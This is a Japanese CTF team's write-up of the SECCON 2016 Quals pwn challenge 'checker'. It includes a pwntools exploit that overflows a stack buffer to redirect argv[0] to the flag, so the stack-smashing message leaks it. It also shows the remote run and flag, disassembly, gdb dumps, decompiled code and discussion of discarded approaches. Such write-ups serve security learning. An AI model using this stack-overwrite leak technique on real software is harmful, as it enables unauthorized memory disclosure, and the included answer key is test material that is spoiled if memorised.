checker

問題概要

ジャンル

exploit

点数

300 points

問題文

checker
Host : checker.pwn.seccon.jp
Port : 14726

checker (SHA1 : 576202ccac9c1c84d3cf6c2ed0ec4d44a042f8ef)

フラグ

SECCON{y0u_c4n'7_g37_4_5h3ll,H4h4h4} terminated

挑戦者

pinksawtooth
K_atc

解法

new!

  • *$rbp+232=&flagにする
    • このときstack canaryを破壊しておく
    • NULL5文字は5回に分けて入れる
  • strcmp(&flag, var_90)で失敗したのち、__stack_chk_fail()を呼び出す
  • "stack smashing detected" の横にフラグが表示される
from pwn import * from sys import argv # context.log_level = 'debug' def bp(): raw_input("break point: ") LOCAL = True if len(argv) > 1 and argv[1] == "r": LOCAL = False BIN = "./checker" e = ELF(BIN) r = None offset = {} if LOCAL: r = process(BIN) offset = {"puts": 0x68fe0, "system": 0x3af40, "/bin/sh": 0x15ef08, "one_gadget": 0xb8a38} else: r = remote("checker.pwn.seccon.jp", 14726) offset = {"puts": 0x6fd60, "system": 0x40310, "/bin/sh": 0x16084c, "one_gadget": 0xc1bf2} """ Hello! What is your name? NAME : Do you know flag? >> yes Oh, Really?? Please tell me the flag! FLAG : Why won't you tell me that??? """ r.recvuntil("NAME : ") # r.sendline("A"*0x80 + "B") r.sendline("tomori nao") flag_addr_str = p64(e.symbols["flag"]) argv0_offset = 0x90 + (376 - 136) - 8 r.recvuntil(">> ") r.sendline("A" * argv0_offset + flag_addr_str[0:3] + "A" * 5) r.recvuntil(">> ") r.sendline("A" * argv0_offset + flag_addr_str[0:3] + "A" * 4) r.recvuntil(">> ") r.sendline("A" * argv0_offset + flag_addr_str[0:3] + "A" * 3) r.recvuntil(">> ") r.sendline("A" * argv0_offset + flag_addr_str[0:3] + "A" * 2) r.recvuntil(">> ") r.sendline("A" * argv0_offset + flag_addr_str[0:3] + "A" * 1) r.recvuntil(">> ") r.sendline("A" * argv0_offset + flag_addr_str[0:3]) r.recvuntil(">> ") r.sendline("yes") bp() r.recvuntil("FLAG : ") r.sendline("i don't know") r.interactive()
[katc@K_atc checker]$ python2 checker.py r
[+] Opening connection to checker.pwn.seccon.jp on port 14726: Done
break point: 
[*] Switching to interactive mode
You are a liar...
*** stack smashing detected ***: SECCON{y0u_c4n'7_g37_4_5h3ll,H4h4h4} terminated
[*] Got EOF while reading in interactive

以下方針はボツ
方針1:

  1. 名前入力時にflagを書き換える
  2. strcmp(*) を突破する
  3. 何らかの方法でStach Smashing Detectedにならない
  4. read_flag("flag.txt")を呼び出してflagを復元
  5. [どうやってflag表示させるん?]→ nameとflagが1つの文字列になるように長さを調整←NULLが改行の代わりに入るから無理では

方針:

  • ポインタ書き換え
    • 存在しない→ ボツ

頻度の低い解法→方針:

  • stack smashing detectedのargv[0]の代わりにflagを出させる 【採用】

議論

flag.txtを読み込んで,以下で比較

.text:00000000004008CA loc_4008CA:                             ; CODE XREF: main+A2j
.text:00000000004008CA                 lea     rax, [rbp+s1]
.text:00000000004008D1                 mov     rsi, rax        ; s2
.text:00000000004008D4                 mov     edi, offset flag ; s1
.text:00000000004008D9                 call    _strcmp
.text:00000000004008DE                 test    eax, eax
.text:00000000004008E0                 jz      short loc_4008E9
.text:00000000004008E2                 mov     eax, offset aYouAreALiar___ ; "You are a liar...\n"
.text:00000000004008E7                 jmp     short loc_4008EE
  • flag.txtの中身を言い当てても嘘つき呼ばわりされる?
    flag.txtの中身を"FLAG"にしてても読み込み時に"FLAG\n"になって比較されるので入力値と一致しない
=> 0x4008d9 <main+209>:	call   0x400620 <strcmp@plt>
   0x4008de <main+214>:	test   eax,eax
   0x4008e0 <main+216>:	je     0x4008e9 <main+225>
   0x4008e2 <main+218>:	mov    eax,0x400ad7
   0x4008e7 <main+223>:	jmp    0x4008ee <main+230>
Guessed arguments:
arg[0]: 0x6010c0 --> 0xa47414c46 ('FLAG\n')
arg[1]: 0x7fffffffe1f0 --> 0x47414c46 ('FLAG')
  • dprintf使っているのは無視していいのかな?
  • strcmpだけに関するpwnならSSE版strcmpの特性(burning ctfで出題済み)やタイミング攻撃を検討する必要あり
  • FSBかなって思ったけど、フラグと比較したあとくらいしか%sで入力を表示してくれなそう
  • flagはメモリ上にある
    • リーク手段は存在する?
    • solve数的に気づけば単純なのかも
      • ←かなり早くsolve数が多くなったね
  • 作問者が書いた gets相当 の関数getalineがあり、一文字ずつ取得、'\n'で読み取り終了、stack canary付きの 妙に堅牢でない 関数
  • nameがわざとらしいんだけど
    • ???もうちょっと詳しくおしえてー
    • flagのguessing/読み取り問題だったら名前を聞く必要がない→nameに何を入れるかが重要、ということ
      • もう一箇所はyes以外余地はなさそうだし,やはり最初の入力でなにかする?
      • 0x4008e9(Thank you)まで到達したとして、何をすればいいん?
      • "Thank you, %s!!\n" ここ出力される%sがnameでは?いや、なにが出るんだ?
      • ユーザーにflagを教えてもらうときに使うバッファがスタック上にあるね。スタック壊せってこと?
        • ↑なんかその方針は趣旨に反する気がする
        • canaryどうすんねん
          • わざとらしくstack canary書き換えてる箇所無いっぽい
        • canary のリーク方法何かあったっけ?(下位1バイトがヌルだからむずかしいにょろ)
        • canary読み取って何事もなかったように戻すパターン?
        • それか、__stack_chk_fail()をretで潰すか、か

We found some misconfiguration of checker challenge, sorry.
We don't fix(change) it , this challenge is easier than other 300 chals.
Please challenge it!

リモートではSSP付いてないのかな?
*** stack smashing detected ***: ./checker terminatedだけは表示されるので付いている

スタックにflagが残っている?←ローカルで確認した限り無かった

初期調査

[katc@K_atc checker]$ file *
checker:  ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=93df47896b068ea44ddcd0b97780375cd589987e, not stripped

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : FULL

gdb-peda$ vmmap
Start              End                Perm  Name
0x00400000         0x00401000         r-xp  /home/katc/Dropbox/CTF/SECCON-2016-Quals/checker/checker
0x00600000         0x00601000         r--p  /home/katc/Dropbox/CTF/SECCON-2016-Quals/checker/checker
0x00601000         0x00602000         rw-p  /home/katc/Dropbox/CTF/SECCON-2016-Quals/checker/checker
0x00602000         0x00623000         rw-p  [heap]
0x00007ffff7a3c000 0x00007ffff7bd1000 r-xp  /usr/lib/libc-2.24.so
0x00007ffff7bd1000 0x00007ffff7dd0000 ---p  /usr/lib/libc-2.24.so
0x00007ffff7dd0000 0x00007ffff7dd4000 r--p  /usr/lib/libc-2.24.so
0x00007ffff7dd4000 0x00007ffff7dd6000 rw-p  /usr/lib/libc-2.24.so
0x00007ffff7dd6000 0x00007ffff7dda000 rw-p  mapped
0x00007ffff7dda000 0x00007ffff7dfd000 r-xp  /usr/lib/ld-2.24.so
0x00007ffff7fb2000 0x00007ffff7fb4000 rw-p  mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r--p  [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp  [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p  /usr/lib/ld-2.24.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p  /usr/lib/ld-2.24.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p  mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p  [stack]
0xffffffffff600000 0xffffffffff601000 r-xp  [vsyscall]
gdb-peda$ i func \@plt
All functions matching regular expression "\@plt":

Non-debugging symbols:
0x00000000004005c0  _exit@plt
0x00000000004005d0  __stack_chk_fail@plt
0x00000000004005e0  close@plt
0x00000000004005f0  dprintf@plt
0x0000000000400600  read@plt
0x0000000000400610  __libc_start_main@plt
0x0000000000400620  strcmp@plt
0x0000000000400630  __gmon_start__@plt
0x0000000000400640  open@plt
0x0000000000400650  perror@plt
  • BOF問題では無さそう(直感)
  • わざとらしい実行可能領域なし
[katc@K_atc checker]$ ./checker 
Hello! What is your name?
NAME : name

Do you know flag?
>> yes ← yはダメ(聞き直される)

Oh, Really??
Please tell me the flag!
FLAG : false flag
You are a liar...
[katc@K_atc checker]$ cat flag.txt 
false flag

yesと比較している

バッファの位置関係

0x601040 name
0x6010c0 flag

  • name取得時に長さによる制限なし
    • flag 書き換え可能
Starting program: /root/Desktop/checker 
Hello! What is your name?
NAME : AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOABBBB

nameに128文字+"フラグにする文字"をいれる

Do you know flag?
>> yes

Oh, Really??
Please tell me the flag!
FLAG : BBBB

flagを聞かれるのでフラグにする文字と同じものを入れる

gdb-peda$ c
Continuing.
Thank you, AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOABBBB!!

名前が出力される

stack smashing による flag leak

main()における$rbp以下のスタック内容

gdb-peda$ telescope $rbp 40
0000| 0x7ffcf54c1260 --> 0x400900 (<main+248>:  call   0x4005f0 <dprintf@plt>)
0008| 0x7ffcf54c1268 --> 0x7feb1dda6291 (<__libc_start_main+241>:   mov    edi,eax)
0016| 0x7ffcf54c1270 --> 0x40000 
0024| 0x7ffcf54c1278 --> 0x7ffcf54c1348 --> 0x7ffcf54c2674 ("./checker")
0032| 0x7ffcf54c1280 --> 0x11dee6c48 
0040| 0x7ffcf54c1288 --> 0x400808 (<main>:  push   rbp)
0048| 0x7ffcf54c1290 --> 0x0 
0056| 0x7ffcf54c1298 --> 0x1c0d7ff72d76a16a 
0064| 0x7ffcf54c12a0 --> 0x400660 (<_start>:    xor    ebp,ebp)
0072| 0x7ffcf54c12a8 --> 0x7ffcf54c1340 --> 0x1 
0080| 0x7ffcf54c12b0 --> 0x0 
0088| 0x7ffcf54c12b8 --> 0x0 
0096| 0x7ffcf54c12c0 --> 0xe3f495ef1af6a16a 
0104| 0x7ffcf54c12c8 --> 0xe3db44c3fa84a16a 
0112| 0x7ffcf54c12d0 --> 0x0 
0120| 0x7ffcf54c12d8 --> 0x0 
0128| 0x7ffcf54c12e0 --> 0x0 
0136| 0x7ffcf54c12e8 --> 0x7ffcf54c1358 --> 0x7ffcf54c267e ("LC_MEASUREMENT=en_US.UTF-8")
0144| 0x7ffcf54c12f0 --> 0x7feb1e348110 --> 0x0 
0152| 0x7ffcf54c12f8 --> 0x7feb1e13360b (<_dl_init+139>:    )
0160| 0x7ffcf54c1300 --> 0x0 
0168| 0x7ffcf54c1308 --> 0x0 
0176| 0x7ffcf54c1310 --> 0x400660 (<_start>:    xor    ebp,ebp)
0184| 0x7ffcf54c1318 --> 0x7ffcf54c1340 --> 0x1 
0192| 0x7ffcf54c1320 --> 0x0 
0200| 0x7ffcf54c1328 --> 0x400689 (<_start+41>: hlt)
0208| 0x7ffcf54c1330 --> 0x7ffcf54c1338 --> 0x1c 
0216| 0x7ffcf54c1338 --> 0x1c 
0224| 0x7ffcf54c1340 --> 0x1 
0232| 0x7ffcf54c1348 --> 0x7ffcf54c2674 ("./checker")
  • $rbp+232を&flagに向けることでflagの中身を吐かせることはできる
    • &flagをどうやってセットするのか問題(ヌルが5つ必要)
      yesを入れるべき場面で5回に分けてNULLを5つ並べる
function getaline {
    var_18 = arg0;
    var_8 = *0x28;
    var_D = 0xff;
    var_C = 0x0;
    while (((var_D & 0xff) != 0x0) && (read(0x0, var_D, 0x1) != 0x0)) { // accepts first NULL
            if ((var_D & 0xff) == 0xa) {
                    var_D = 0x0;
            }
            *(int8_t *)(sign_extend_64(var_C) + var_18) = var_D & 0xff; 
            var_C = var_C + 0x1;
    }
    rax = var_C;
    rcx = var_8 ^ *0x28;
    COND = rcx == 0x0;
    if (!COND) {
            rax = __stack_chk_fail();
    }
    return rax;
}

function main {
    var_8 = *0x28;
    dprintf(0x1, "Hello! What is your name?\nNAME : ");
    getaline(0x601040);
    do { // 何度でもスタック破壊可能(Stack Smashing→"yes\0")
            dprintf(0x1, "\nDo you know flag?\n>> ");
            getaline(var_90);
    } while (strcmp(var_90, "yes") != 0x0);
    dprintf(0x1, "\nOh, Really??\nPlease tell me the flag!\nFLAG : ");
    getaline(var_90);
	// first byte must be non-NULL
    if ((*(int8_t *)var_90 & 0xff) == 0x0) {
            dprintf(0x1, "Why won't you tell me that???\n");
            rax = _exit(0x0);
    }
    else {
            strcmp(0x6010c0, var_90) == 0x0;
            dprintf(0x1, 0x0);
            rax = 0x0;
            rcx = var_8 ^ *0x28;
            COND = rcx == 0x0;
            if (!COND) {
                    rax = __stack_chk_fail();
            }
    }
    return rax;
}